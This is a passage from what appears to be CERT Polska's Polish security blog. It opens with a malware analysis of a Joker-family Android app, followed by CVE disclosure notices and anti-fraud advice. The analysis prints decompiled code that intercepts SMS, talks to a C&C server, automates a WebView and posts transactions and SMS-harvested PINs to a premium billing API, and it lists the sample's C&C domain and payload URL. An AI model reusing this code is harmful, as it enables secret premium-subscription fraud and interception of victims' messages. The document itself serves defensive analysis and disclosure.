        }
    }

public C0006TXbyafmq WYOdgBxH(String str, byte[] bArr) {
        try {
            InterfaceC0007WYOdgBxH interfaceC0007WYOdgBxH = this.f15TXbyafmq;
            if (interfaceC0007WYOdgBxH != null) {
                str = interfaceC0007WYOdgBxH.WYOdgBxH(str);
            }
            HttpURLConnection WYOdgBxH2 = WYOdgBxH(str, "POST");
            WYOdgBxH2.setDoInput(true);
            WYOdgBxH2.setDoOutput(true);
            if (bArr != null && bArr.length > 0) {
                OutputStream outputStream = WYOdgBxH2.getOutputStream();
                outputStream.write(bArr);
                outputStream.flush();
                outputStream.close();
            }
            return WYOdgBxH(WYOdgBxH2, str);
        } catch (Exception e) {
            return WYOdgBxH(str, e);
        }
    }

Aplikacja sprawdza, czy połączenie było udane:

if (C0006TXbyafmq.WYOdgBxH(WYOdgBxH2)) {
return new C0055MdATElAc(new JSONObject(WYOdgBxH(WYOdgBxH2.f18MdATElAc, url)).getJSONArray("lybfta").getJSONObject(0));}

Jeśli tak, to deszyfruje dane zwrotne od C&C a następnie odczytuje i zapisuje dane z tablicy lubfta:

public String WYOdgBxH(byte[] bArr, String str) {
        byte[] WYOdgBxH2 = WYOdgBxH(str);
        SecretKeySpec secretKeySpec = new SecretKeySpec(WYOdgBxH2, "AES");
        IvParameterSpec ivParameterSpec = new IvParameterSpec(WYOdgBxH2);
        try {
            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
            cipher.init(2, secretKeySpec, ivParameterSpec);
            return new String(cipher.doFinal(bArr));
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

Kiedy szkodliwa aplikacja dostanie listę potencjalnych subskrybentów, włącza przechwytywanie SMS-ów:

class C0042TXbyafmq extends BroadcastReceiver {


        final String f82WYOdgBxH;

        C0042TXbyafmq(String str) {
            this.f82WYOdgBxH = str;
        }

        @Override 
        public void onReceive(Context context, Intent intent) {
            String stringExtra = intent.getStringExtra(this.f82WYOdgBxH);
            if (TextUtils.isEmpty(stringExtra)) {
                stringExtra = intent.getStringExtra("android.text");
            }
            if (TextUtils.isEmpty(stringExtra)) {
                stringExtra = intent.getStringExtra("at");
                if (!TextUtils.isEmpty(stringExtra) && !Telephony.Sms.getDefaultSmsPackage(C0037TXbyafmq.this.f75WYOdgBxH).equals(intent.getStringExtra("ap"))) {
                    return;
                }
            }
            C0022TXbyafmq.LfUtNUXX("addSmsFromBroadcast:" + stringExtra);
            C0037TXbyafmq.WYOdgBxH(stringExtra);
        }
    }

Następnie aplikacja inicjuje webView(C0028LfUtNUXX) z włączoną obsługą JavaScript, i inicjuje połączenie do URL strony z subskrypcją z wcześniej pobranej listy. W kolejnym kroku wykonuje JavaScript w celu interakcji ze stroną, co automatyzuje cały proces i pozwala zasubskrybować daną stronę bez interakcji z użytkownikiem:

public void WYOdgBxH(C0055MdATElAc.C0056LfUtNUXX c0056LfUtNUXX) {
        if (this.f57TXbyafmq.f105TXbyafmq >= 300) {
            TXbyafmq("runJs-" + c0056LfUtNUXX.f113WYOdgBxH + ":" + c0056LfUtNUXX.f110LfUtNUXX);
        }
        this.f58WYOdgBxH.evaluateJavascript(c0056LfUtNUXX.f110LfUtNUXX.replace(C0023WYOdgBxH.BRgPASkR, this.f59fhuPPCBW), null);
    }

JavaScript jest wykonywany w kontekście WebView, powodując wywołanie metody call(C0023WYOdgBxH.BRgPASkR == "window.JBridge.call('dump', document.documentElement.outerHTML);")

 @JavascriptInterface
        public String call(String str, String str2) {
            try {
            } catch (Exception e) {
                C0028LfUtNUXX.this.TXbyafmq("JBridge-Exception:" + e.toString());
            }
            if (C0028LfUtNUXX.this.f57TXbyafmq.eJbwVqlc > 0) {
                return "";
            }
            if (str.equals(C0023WYOdgBxH.KWHgxmAB)) { // (str.equals("dump"))
                C0052BdnLopBC WYOdgBxH2 = C0028LfUtNUXX.this.f57TXbyafmq.WYOdgBxH();
                if (WYOdgBxH2 != null) {
                    WYOdgBxH2.WYOdgBxH(str2);
                }
                return "";
            }

W tym momencie analizy widzimy, że malware jest już w stanie automatyzować interakcje ze stroną subskrypcji oraz przechwytywać i zapisywać wiadomości SMS. Ostatnim krokiem jest finalna interakcja ze stronami w celu zasubskrybowania. Dzieje się to w obrębie funkcji LfUtNUXX(String str). Funkcja najpierw próbuje pobrać MSISDN (ang. Mobile Station International Subscriber Directory Number) z zapisanych parametrów:

public void LfUtNUXX(String str) {
        String str2;
        String WYOdgBxH2 = C0022TXbyafmq.WYOdgBxH(str, "api2/", "/");
        C0006TXbyafmq WYOdgBxH3 = new C0005LfUtNUXX().WYOdgBxH(this.f51LfUtNUXX).WYOdgBxH(str);
        this.f52WYOdgBxH.BdnLopBC("2_url:" + WYOdgBxH3.f17LfUtNUXX);
        String str3 = WYOdgBxH3.f17LfUtNUXX.split("/")[4];
        String str4 = WYOdgBxH3.f17LfUtNUXX.split("/")[5];
        this.f52WYOdgBxH.BdnLopBC("2_t1:" + str3);
        this.f52WYOdgBxH.BdnLopBC("2_t2:" + str4);
        this.f52WYOdgBxH.BdnLopBC("2_prod:" + WYOdgBxH2);
        String WYOdgBxH4 = WYOdgBxH();
        this.f52WYOdgBxH.BdnLopBC("2_msisdn:" + WYOdgBxH4);
        ...

private String WYOdgBxH() {
        C0055MdATElAc.C0056LfUtNUXX WYOdgBxH2 = this.f52WYOdgBxH.WYOdgBxH("pl_protocol", 100);
        return (WYOdgBxH2 == null || !TextUtils.isDigitsOnly(WYOdgBxH2.f110LfUtNUXX)) ? "" : WYOdgBxH2.f110LfUtNUXX;
    }

Pobiera parametr o nazwie „pl_protocol” z kontekstu
Sprawdza, czy wartość parametru składa się tylko z cyfr (prawidłowy numer telefonu komórkowego).
Zwraca MSISDN, jeśli jest dostępny; w przeciwnym razie zwraca pusty ciąg znaków.

Następnie szkodliwa aplikacja wysyła żądanie transakcji przy użyciu uzyskanego MSISDN i reszty wymaganych danych, takich jak TransactionId (są one przekazywane przez C&C, co zostało pokazane w poprzednich krokach analizy):

String str7 = "https://epayment.teleaudio.pl/api2/typeundef_" + WYOdgBxH2 + "/direct/proceed";
String str8 = "{\"TransactionId\":\"" + str3 + "\",\"Msisdn\":\"" + WYOdgBxH4 + "\",\"Carrier\":\"U\",\"Consents\":null,\"Connection\":\"typeundef\"}";
this.f51LfUtNUXX.clear();
this.f51LfUtNUXX.put("Content-Type", "application/json");
this.f51LfUtNUXX.put("Authorization", "Bearer " + str4);
this.f52WYOdgBxH.BdnLopBC("4_s5_url:" + str7);
this.f52WYOdgBxH.BdnLopBC("4_s5_data:" + str8);
this.f52WYOdgBxH.TXbyafmq();
String str9 = new String(new C0005LfUtNUXX().WYOdgBxH(this.f51LfUtNUXX).WYOdgBxH(str7, str8.getBytes()).f18MdATElAc);
this.f52WYOdgBxH.BdnLopBC("5_s5_content:" + str9);

W kolejnym kroku, jeśli żądanie się powiodło, aplikacja pobiera kod z SMS-a (jak wiemy z poprzednich kroków, aplikacja na bieżąco pobiera i zapisuje wiadomości SMS), który jest wymagany do potwierdzenia transakcji:

String LfUtNUXX2 = this.f52WYOdgBxH.LfUtNUXX("2::(kod|PIN|code).*?(\\d{3,6})", 30029);
this.f52WYOdgBxH.BdnLopBC("5_s5_pin:" + LfUtNUXX2);

Ostatecznie, po zdobyciu kodu PIN potrzebnego do zatwierdzenia transakcji, aplikacja wysyła potwierdzenie:

String str10 = "https://epayment.teleaudio.pl/api2/ta/direct/confirm";
this.f52WYOdgBxH.BdnLopBC("5_s6_data:" + ("{\"TransactionId\":\"" + str3 + "\",\"Pin\":\"" + LfUtNUXX2 + "\",\"Consents\":null}"));
this.f52WYOdgBxH.BdnLopBC("6_s6_content:" + new String(new C0005LfUtNUXX().WYOdgBxH(this.f51LfUtNUXX).WYOdgBxH(str10, str2.toString().getBytes()).f18MdATElAc));

Po zatwierdzeniu transakcji, sprawdza jej status i weryfikuje, czy subskrypcja przebiegła pomyślnie:

 String str11 = new String(new C0005LfUtNUXX().WYOdgBxH(this.f51LfUtNUXX).WYOdgBxH("https://epayment.teleaudio.pl/api2/ta/direct/status/" + str3).f18MdATElAc);
        this.f52WYOdgBxH.BdnLopBC("7_s7_content:" + str11);
        if (str11.contains("Transakcja zakończona pomyślnie.")) {
            WYOdgBxH(100);
        } else {
            WYOdgBxH(903);
        }

Podsumowanie

Kompleksowa analiza zachowania aplikacji ujawniła wyrafinowany i złośliwy mechanizm zaprojektowany w celu subskrybowania przez użytkowników usług premium bez ich wiedzy i zgody. Jest to wieloetapowy proces wykorzystujący szyfrowaną komunikację, zaciemniony kod i nieautoryzowany dostęp do wrażliwych danych użytkownika. Analizując każdy komponent i rozumiejąc przepływ operacji, możemy stwierdzić, że aplikacja stanowi poważne zagrożenie dla bezpieczeństwa, prywatności i finansów użytkowników.

IOC

MD5
Pierwszy etap
1ad4d8037d6890f317dc28bb53c1eb03 (com.onmybeauty.beautycamera.apk - https://play.google.com/store/apps/details?id=com.onmybeauty.beautycamera)
Drugi etap
f508a96654c355b8bd575f8d8ed8a157 - decoded_kuwan.dex
kamisatu[.]top
https://forga.oss-me-east-1.aliyuncs.com/Kuwan

Inne powiązane próbki z kampanią Joker w ostatnich dniach:
962c0590dd3d2cdb707e32ae8b30bcfc (wersja xapk z dołączoną biblioteką photolibrary.so)
bcfe46df4d66cc3c6f92d281ceac53e1
5942a2e46b29ddc1dd5d9373a8c419ad
62d9b7cff4a09d7c3b7e8bcf9d00d196

Podatność w oprogramowaniu Redlink SDK

2024-09-30T14:30:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Redlink SDK firmy Vercom S.A. i koordynował proces ujawniania informacji.

Podatność CVE-2024-6051 w określonych sytuacjach umożliwia lokalne wykonanie kodu i manipulowanie widokiem podatnej aplikacji. Podatność dotyczy oprogramowania Redlink SDK w wersjach do 1.13 włącznie.

Podziękowania

Za zgłoszenie podatności dziękujemy Maksymilianowi Motylowi z firmy Immunity Systems.

Podatności w oprogramowaniu MegaBIP

2024-09-10T12:00:00+01:00

Opis podatności

Zespół CERT Polska koordynował proces ujawniania informacji o dwóch podatnościach.

Podatność CVE-2024-6662, która została zgłoszona do zespołu CERT Polska, umożliwia ataki typu Cross-Site Request Forgery (CSRF), ponieważ formularz dostępny pod adresem /edytor/index.php?id=7,7,0 nie posiada odpowiednich mechanizmów ochronnych. Użytkownik może zostać nakłoniony do odwiedzenia szkodliwej strony, która wysłałaby żądanie POST zawierającego wypełnione dane formularza do tego endpointu. Jeśli ofiara jest zalogowanym administratorem, może to doprowadzić do utworzenia nowych kont i nadania im uprawnień administracyjnych.

Zespół CERT Polska podczas własnych badań odkrył podatność CVE-2024-6880. Podczas procesu instalacji MegaBIP użytkownik jest zachęcany do zmiany domyślnej ścieżki do portalu administracyjnego, ponieważ utrzymanie jej w tajemnicy jest wymienione przez autora jako jeden z mechanizmów ochronnych. Publicznie dostępny kod źródłowy pliku /registered.php ujawnia tę ścieżkę, co umożliwia atakującemu podjęcie dalszych prób ataków.

Według informacji otrzymanych od autora, obie podatności zostały usunięte w wersji 5.15 oprogramowania MegaBIP.

CyberParawan 2024 - Podsumowanie

2024-08-30T14:00:00+01:00

Turnus 1

Zaczęliśmy od oszustwa „na booking” – dla tych, którzy wciąż byli na etapie planowania swoich podróży. Oszuści przejmują konta obiektów w portalach rezerwacyjnych (nie tylko na tym, od którego oszustwo wzięło swoją nazwę), a następnie wystawiają okazyjne oferty. Ale kontakt i przepływ pieniędzy odbywa się już poza portalem. Po takiej transakcji niczego nieświadomy turysta przybywa do niczego nieświadomego hotelu lub pensjonatu. Obsługa obiektu nic nie wie o jakiejkolwiek rezerwacji. To prosty przepis na zepsute wakacje.

Jak się chronić? Jeśli robimy rezerwację za pomocą portalu, to wszelkie inne czynności związane z obsługą tej transakcji również powinny odbywać się za jego pośrednictwem. Zwłaszcza opłaty!

Turnus 2

W drugiej odsłonie cyklu przypomnieliśmy schemat oszustwa, który dotyczy rodziców dzieci przebywających poza domem. Zaczyna się ono od wiadomości na WhatsAppie „Drogi rodzicu, zepsuł mi się telefon”. Oszustwo to ma na celu wyłudzenie pieniędzy, a więcej na jego temat można przeczytać w naszym tekście.

Turnus 3

Trzecią odsłonę cyklu przygotowaliśmy z myślą o wielbicielach wakacyjnych rozrywek. Zwłaszcza tych, na które bilety wyprzedają się w mgnieniu oka. Na czym polega „oszustwo biletowe” i jak bezpiecznie kupić bilet z drugiej ręki? Napisaliśmy na ten temat cały tekst.

Turnus 4

Czwartą część cyklu opublikowaliśmy na półmetku wakacji, zatem kiedy część z nas miała już swoje wyjazdy za sobą. Wyobraźmy więc sobie, że po powrocie z zagranicy odbieramy telefon od obcej policji lub służby celnej. Niezbyt przyjemna wizja. Dlatego uspokajamy, to kolejna próba oszustwa. Taki telefon można spokojnie zignorować, a dopóki nie podamy swoich danych, nie grozi nam zupełnie nic. Numery do tych połączeń wybierane są przez przestępców losowo.

Turnus 5

Czy wiecie, że dziewczynka, z clickbajtów także wyjeżdża na wakacje? O ile w ciągu roku mogliśmy z sensacyjnych nagłówków dowiedzieć, że „dziewczynka wypadła z okna”, „szokujące wieści, dziewczynka ledwo uszła z życiem – zobacz video” lub „potrącenie dziewczynki – zobacz zdjęcia”, to w wakacje przydarzają jej się bardziej letnie przygody w bardziej turystycznych miejscach. W kwestii cyberhigieny nic to jednak nie zmienia. Jeśli klikamy w taki post na Facebooku, a strona, na która trafiliśmy prosi nas o dane logowania w celu potwierdzenia naszego wieku – mamy do czynienia z próbą wyłudzeni danych logowania. Nie podawajmy danych, zamknijmy stronę i zapomnijmy o pechowej – i na szczęście nieistniejącej – dziewczynce.

Mamy nadzieję, że podczas wakacji nie zetknęliście się z żadnym z opisanych scenariuszy i mieliście okazję wypocząć i przygotować się na długie jesienne wieczory. Na start roku szkolnego przygotowujemy dla Was cykl, który mamy nadzieję umili Wam powrót do rutyny, czyli #CyberOdKuchni. Tym razem chcemy się skupić na tym, jak pracujemy. I jak dbamy o to, żeby polski internet był lepszym miejscem.

Podatności w oprogramowaniu HyperView Geoportal Toolkit

2024-08-28T14:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu HyperView Geoportal Toolkit i koordynował proces ujawniania informacji.

Podatność CVE-2024-6449 polega na wykorzystaniu jednego z endpointów REST API w celu odwoływania się do niezaufanych zewnętrznych domen i pobierania z nich treści, w tym skryptów JavaScript, które następnie wykonane zostaną w przestrzeni użytkownika. Jednocześnie, z wykorzystaniem tego endpointa możliwa jest ograniczona enumeracja sieci LAN, w której znajduje się serwer.

Podatność CVE-2024-6450 typu Reflected XSS umożliwia wykonanie skryptu w przeglądarce użytkownika poprzez nakłonienie go do użycia spreparowanego linku.

Wszystkie wersje oprogramowania niższe niż 8.5.0 są uważane za podatne.

Podziękowania

Za zgłoszenie podatności dziękujemy Dariuszowi Gońda.

Podatność w oprogramowaniu ConnX ESP HR Management

2024-08-28T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu ConnX ESP HR Management i koordynował proces ujawniania informacji.

Podatność CVE-2024-7269 typu Stored XSS występuje w formularzu "Update of Personal Details". Atakujący może wstrzyknąć skrypt, który zostanie wykonany w przeglądarce użytkownika.

Nie udało nam się skontaktować z producentem oprogramowania. Zgłaszający przekazał informację, że podatność została usunięta przez producenta oprogramowania ConnX ESP HR Management w wersji 6.6.

Podziękowania

Za zgłoszenie podatności dziękujemy Mariuszowi Sepczukowi.

Podatność w oprogramowaniu routerów KAON AR2140

2024-08-08T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu routerów KAON Group AR2140 i koordynował proces ujawniania informacji.

Podatność CVE-2024-3659 umożliwia wstrzyknięcie komendy poprzez przesłanie specjalnie w tym celu utworzonego żądania do jednego z endpointów. W celu wykorzystania tej podatności, atakujący musi posiadać dostęp do portalu zarządzania routerem.

Podatne są wszystkie wersje od 3.2.46 i przed 4.2.16. Wcześniejsze wersje nie były testowane, w związku z czym nie wiadomo czy są one podatne.

Podziękowania

Za zgłoszenie podatności dziękujemy Arkadiuszowi Maruszczakowi.

Podatności w oprogramowaniu EZD RP

2024-08-07T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w rozwijanym przez NASK - PIB oprogramowaniu EZD RP i koordynował proces ujawniania informacji.

Podatność CVE-2024-7265 umożliwia użytkownikowi zmianę hasła dowolnego użytkownika, w tym użytkownika "root", co umożliwia eskalację uprawnień. Podatność CVE-2024-7266 umożliwia użytkownikowi wylistowanie wszystkich użytkowników w systemie, również tych z innych organizacji. Powyższe podatności dotyczą oprogramowania EZD RP w wersjach od 15 do 15.84, od 16 do 16.15, od 17 do 17.2.

Podatność CVE-2024-7267 umożliwia użytkownikowi pozyskanie informacji o infrastruturze IP, loginu i hasła systemu EZD RP. Podatność dotyczy EZD RP w wersjach do 19.6.

Podziękowania

Za zgłoszenie podatności dziękujemy Jakubowi Płatkowi (NASK-PIB).

Program CVE – pierwszy rok za nami!

2024-08-01T14:20:00+01:00

CERT Polska od roku ma status CNA (CVE Numbering Authority), co pozwala na nadawanie identyfikatorów i publikowanie informacji o podatnościach w programie CVE. W ciągu ostatnich 12 miesięcy nadaliśmy 73 takie identyfikatory podatnościom, także tym odkrytym w ramach naszych działań badawczych.

CVE (Common Vulnerabilities and Exposures) to międzynarodowy program wspierający ujawnianie luk bezpieczeństwa w oprogramowaniu lub sprzęcie komputerowym. Od 1999 r. program ten kataloguje podatności i oznacza je unikalnymi identyfikatorami w postaci “CVE-RRRR-XXXX", które stały się międzynarodowym standardem. Baza CVE jest publiczna i dostępna za darmo dla każdego. Obecnie jest ona podstawą dla organizacji z całego świata w identyfikacji i śledzeniu informacji o nowych lukach bezpieczeństwa.

Każda osoba, która znajdzie podatność, może zgłosić ją do organizacji będącej CNA, czyli CVE Numbering Authority. Są to organizacje, które oceniają zasadność zgłoszenia, koordynują kontakt pomiędzy zaangażowanymi stronami, nadają podatnościom numery i dbają o jakość bazy. Od 1 sierpnia 2023 r. CERT Polska jako jedyna instytucja w kraju i jako 7. CERT w Europie może nadawać numery CVE, które służą identyfikacji i katalogowaniu publicznie ujawnionych podatności.

Proces koordynowanego ujawniania podatności (CVD, ang. Coordinated Vulnerability Disclosure) został wprowadzony do europejskiego porządku prawnego poprzez zapisy dyrektywy NIS 2. Zgodnie z dyrektywą każde państwo członkowskie powinno wyznaczyć jeden ze swoich CSIRT-ów do pełnienia roli koordynatora, występującego w razie potrzeby w charakterze Zaufanego Pośrednika między osobami zgłaszającymi a producentami lub dostawcami produktów lub usług ICT. W obecnym projekcie ustawy implementującej dyrektywę NIS 2 planowane jest, aby tym koordynatorem został nasz zespół.

Warto pamiętać, że koordynowane ujawnianie podatności zazwyczaj jest złożonym i długim procesem, na który składają się: nawiązywanie bezpiecznego kontaktu z właściwym adresatem, usuwanie podatności i dystrybucja poprawionego oprogramowania wśród klientów. Zdarza się, że od zgłoszenia do publikacji informacji mija kilka miesięcy.

Artykuły zawierające informacje o podatnościach ujawnionych przez Zespół CERT Polska są publikowane na stronie cert.pl/cve. Więcej informacji o obsłudze zgłoszeń podatności przez nasz Zespół jest dostępne na stronie cert.pl/cvd.

Podatność w oprogramowaniu Stackposts Social Marketing Tool

2024-07-30T14:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Stackposts Social Marketing Tool i koordynował proces ujawniania informacji.

Podatność CVE-2024-7127 typu Cross-site Scripting umożliwia przekazanie skryptu w polach formularza rejestracji, który później może być wykonany przez administratora podczas otwierania widoku listy użytkowników. Może to prowadzić do nieuprawnionego pozyskania informacji (np. plików cookie zalogowanego użytkownika).

Nie udało nam się skontaktować z producentem oprogramowania. Nasz zespół potwierdził występowanie tej podatności. Należy przypuszczać, że podatność występuje we wszystkich wersjach oprogramowania.

Podziękowania

Za zgłoszenie podatności dziękujemy Jakubowi Przepiórze.

Oszustwa biletowe

2024-07-16T14:00:00+01:00

Wakacje to czas, kiedy słowo „bilet” nabiera szczególnego znaczenia. A skoro „bilet” to wakacyjne słowo-klucz, to jest to też świetny wabik wykorzystywany przez wirtualnych oszustów.

Bilety lotnicze w niewiarygodnych cenach, wejściówki na letnie festiwale muzyczne za półdarmo, albo gwarancja wstępu na wydarzenia, na które nie można się już lub jeszcze dostać – każdemu na takie okazje zaświecą się oczy. Niestety, zamiast oczu powinna zaświecić się czerwona lampka 🚨.

W naszym cyklu wakacyjnym „Cyberparawan” pisaliśmy już o oszustwach „na booking”, czyli podszywaniu się pod hotel lub inną wakacyjną kwaterę w portalach rezerwacyjnych. Oszustwa biletowe są bardzo podobne, ale zamiast atrakcyjnego noclegu wabią niedostępną z różnych względów rozrywką (lub rzadziej przelotem).

Czym jest zatem oszustwo biletowe lub oszustwo „na fałszywy bilet”?

Przestępcy mają trzy sposoby działania:

Oszustwo biletowe w mediach społecznościowych

Najczęściej spotykanym kanałem tego oszustwa są grupy na portalu Facebook.

Janek szuka wejściówki na koncert lub wydarzenie sportowe. Na dedykowanej grupie zamieszcza informację o tym, że chciałby odkupić taki bilet. Już po chwili dostaje kilka wiadomości z ofertami sprzedaży wstępu w bardzo atrakcyjnej cenie. Jedna z nich pochodzi od sympatycznej starszej pani, inna od chłopaka w koszulce klubu sportowego – nie wyglądają na oszustów. Janek musi tylko wybrać osobę, której zaufa, zapłacić uzgodnioną kwotę poprzez BLIK i upragniony bilet będzie jego.

🚨🚨🚨

Czy Janek właśnie znalazł świetną okazję? Być może. A być może Janek jest o krok od sporego rozczarowania i utraty pieniędzy.

Oczywiście nie każda taka transakcja musi być próbą oszustwa. W życiu zdarzają się różne sytuacje i czasem faktycznie trzeba zmienić plany i odsprzedać bilety na atrakcyjne wydarzenia. Pamiętajmy też, że osoba, którą widzimy na zdjęciu profilowym to niekoniecznie ta sama osoba, z którą rozmawiamy. Zdjęcie można ukraść lub stworzyć z użyciem narzędzi AI.

Dlatego przy tego typu zakupach należy zachować szczególną czujność. Transakcje na grupach facebookowych opierają się jedynie na zaufaniu i odzyskanie pieniędzy w przypadku oszustwa będzie bardzo trudne.

Oszustwo biletowe za pomocą fałszywej strony internetowej

Oszustwa w mediach społecznościowych wymagają od przestępców jedynie zaangażowania i czasu. Przekręt z użyciem fałszywej strony internetowej to już bardziej skomplikowana operacja. Niestety takie oszustwa również się zdarzają.

W tym wariancie mamy do czynienia ze stroną internetową, która do złudzenia przypomina stronę sprzedającą bilety na wydarzenia lub pośredniczącą w takiej sprzedaży. Takie działanie już na wejściu może uśpić czujność, w końcu dokonujemy transakcji na znanym serwisie, a nie na grupie tematycznej w mediach społecznościowych.

Dalej wszystko toczy się według znanego scenariusza. Wybór biletu, fałszywa bramka płatności, i bardzo często, mail z biletem na wydarzenie. Wejściówka nie wzbudza żadnych podejrzeń. O tym że jest fałszywa, nabywca dowiaduje się dopiero podczas próby wejścia na wydarzenie.

Oszustwo kombinowane

Ten scenariusz uważamy za wyjątkowo wyrafinowany i perfidny. Wszystko toczy się bowiem jak w scenariuszu pierwszym – w mediach społecznościowych. Wróćmy zatem do Janka.

Janek znów szuka wejściówki na koncert lub wydarzenie sportowe, wystawia ogłoszenie na grupie na Facebooku i po chwili otrzymuje wiadomości z ofertami sprzedaży wejściowek.

Tym razem Janek wie, że transakcje na grupach facebookowych są obarczone sporym ryzykiem. Dlatego proponuje, żeby sprzedaż sfinalizować na stronie pośredniczącej w odsprzedaży biletów. Sprzedawca bez problemu się zgadza i już po chwili przesyła Jankowi link do oferty na odpowiednim portalu. Problem w tym, że link ten prowadzi do fałszywej strony i dalej oszustwo toczy się według scenariusza numer dwa.

Czasem zdarza się wręcz, że sprzedawca sam z siebie proponuje wystawienie biletu na stronie internetowej. Takie zachowanie może kompletnie uśpić czujność nabywcy. Zwłaszcza w sytuacji, kiedy jego wymarzony bilet zdaje się być tuż na wyciągnięcie ręki.

Jak się chronić?

W przypadku transakcji w social mediach złota rada niestety nie istnieje. Tylko od nas zależy, ile jesteśmy w stanie zaryzykować dla wymarzonego biletu.

Kiedy sprzedawca wysyła nam link do konkretnej oferty, zanim potwierdzimy zakup i przejdziemy do płatności, w drugim oknie przeglądarki spróbujmy wyszukać ofertę na stronie pośrednika. Czy ona na pewno tam jest? Nasze oczy dają się łatwo oszukać – zamiana jednej litery w adresie strony – nie trzeba nawet emocji związanych z zakupami, żeby ją przeoczyć. Jeśli oferty nie ma prawdziwej stronie – prawdopodobnie była to próba oszustwa.

Obserwujemy również, że na fałszywych stronach, stworzonych w ramach tego oszustwa, JEDYNĄ dostępną formą płatności jest podanie kodu BLIK – zatem taka sytuacja powinna wzbudzić naszą czujność.

A ostatecznie lepiej stracić upragnione wydarzenie niż upragnione wydarzenie i pieniądze na bilet. W ostatnich kampaniach oszuści przyjmują płatność tylko za pomocą kodów Blik. To dobrze i źle. Źle, bo płatności Blikiem nie da się wycofać z powodu oszustwa – przy kartach płatniczych istnieje taka możliwość. Dobrze, bo kod Blik jest jednorazowy i oszuści nie mogą za jego pomocą wyczyścić nam konta.

Zachęcamy też do zgłaszania nam takich fałszywych stron internetowych przez formularz na stronie https://incydent.cert.pl. Każda zablokowana strona to udaremniona próba oszustwa.

Podatności w otwartoźródłowym projekcie Phoniebox

2024-07-10T14:00:00+01:00

Opis podatności

CERT Polska w ramach badań własnych znalazł kilka słabości w otwartoźródłowym projekcie Phoniebox.

W przypadku obu podatności scenariusz ataku zakłada odwiedziny użytkownika na stronie, która rozsyła żądania HTTP do innych hostów leżących w tej samej sieci lokalnej, ponieważ projekt Phoniebox nie powinien być publicznie dostępny w Internecie.

Podatność CVE-2024-3798 umożliwia wstrzyknięcie komend powłoki, które zostaną wykonane na serwerze, jak również ataki typu Reflected XSS oraz Cross-Site Request Forgery. Odbywa się to poprzez modyfikację parametru file w żądaniach GET. Z kolei podatność CVE-2024-3799 pozwala na wstrzyknięcie komend powłoki korzystając z modyfikacji parametru body w żądaniach POST.

Podatne są wszystkie wydania do 2.7 włącznie. Na chwilę pisania tego artykułu nowsze nie były dostępne, problem może więc dotyczyć również wyższych wersji.

Na platformie Github został założony issue adresujący te problemy.

Podatność SQL injection w oprogramowaniu MegaBIP

2024-07-09T16:00:00+01:00

Opis podatności

CERT Polska w ramach badań własnych znalazł kolejną podatność w oprogramowaniu MegaBIP i koordynował proces ujawniania informacji.

Podatność CVE-2024-6527 umożliwia dowolnej osobie na wstrzyknięcie kodu SQL w parametrze "w" w pliku "druk.php", co w konsekwencji może doprowadzić np. do ujawnienia zawartości bazy danych przez atakującego, poznania tokenu administratora czy modyfikacji treści stron.

Podatność dotyczy programu MegaBIP we wszystkich wersjach do 5.13.

Rekomendacja Pełnomocnika Rządu ds. Cyberbezpieczeństwa dotycząca Biuletynów Informacji Publicznej

Na stronie Ministerstwa Cyfryzacji została opublikowana Rekomendacja Pełnomocnika Rządu ds. Cyberbezpieczeństwa dotycząca Biuletynów Informacji Publicznej dotycząca obowiązku niestosowania systemów SmodBIP i MegaBIP, jako platform Biuletynu Informacji Publicznej (BIP) do udostępniania informacji publicznej. Zgodnie z informacją Pełnomocnika, obowiązek dotyczy podmiotów krajowego systemu cyberbezpieczeństwa, w tym podmiotów publicznych.

Podatności w urządzeniach Longse Technology

2024-07-09T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu urządzeń Longse Technology i koordynował proces ujawniania informacji.

Podatność CVE-2024-5631 w oprogramowaniu urządzeń NVR (Network Video Recorder) model NVR3608PGE2W firmy Longse polega na przesyłaniu w sieci internet loginu i hasła użytkownika do usługi zdalnego sterowania bez użycia szyfrowania. Atakujący posiadający dostęp do komunikacji urządzenia z serwerem jest w stanie przejąć wprowadzanie poświadczenia i użyć ich do uzyskania dostępu do obrazu z kamer. Poświadczenia te są wysyłane, gdy użytkownik zdecyduje się zmienić je w portalu administracyjnym urządzenia NVR.

Podatność CVE-2024-5632 w oprogramowaniu urządzeń NVR (Network Video Recorder) model NVR3608PGE2W firmy Longse jest związana z tworzeniem sieci WiFi zabezpieczonej domyślnym, predefiniowanym hasłem. Użytkownik podczas procesu konfiguracji nie jest informowany o konieczności zmiany tego hasła, w instrukcji obsługi również brakuje takiego zalecenia. Atakujący, która zna to predefiniowane hasło (wspólne dla wszystkich urządzeń o tym modeli), jest w stanie uzyskać dostęp do tak utworzonej sieci.

Podatność CVE-2024-5633 w oprogramowaniu kamer firmy Longsee o modelu LBH30FE200W polega na udostępnianiu nieudokumentowanego serwisu na jednym z portów. Znajdujący się w tej samej sieci lokalnej atakujący może wykorzystać dostępne komendy do manipulowania pamięcią urządzenia pod warunkiem znajomości tych komend. Jedną z potencjalnych konsekwencji jest ominięcie uwierzytelniania do usługi telnet i pełne przejęcie urządzenia.

Podatność CVE-2024-5634 w oprogramowaniu kamer firmy Longsee o modelu LBH30FE200W polega na zabezpieczaniu dostępu do usługi telnet hasłem, które tworzone jest za pomocą określonego schematu. Atakujący, który pozna ten schemat, jest w stanie przeprowadzić atak typu brute force znacznie niższym kosztem. Jednocześnie kamery posiadające tę samą wersję oprogramowania zabezpieczone są tym samym hasłem.

Oba produkty nie posiadają juz wsparcia, co oznacza, że producent nie planuje wydać poprawek bezpieczeństwa w celu usunięcia wymienionych luk. Podatne są zarówno produkty firmy Longsee, jak również wszystkie na nich bazujące takie jak ZMB-01/ZMB-01C firmy Zamel.

Podziękowania

Za zgłoszenie podatności dziękujemy Adamowi Zambrzyckiemu.

Podatność w oprogramowaniu Edito CMS

2024-07-02T11:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Edito CMS i koordynował proces ujawniania informacji.

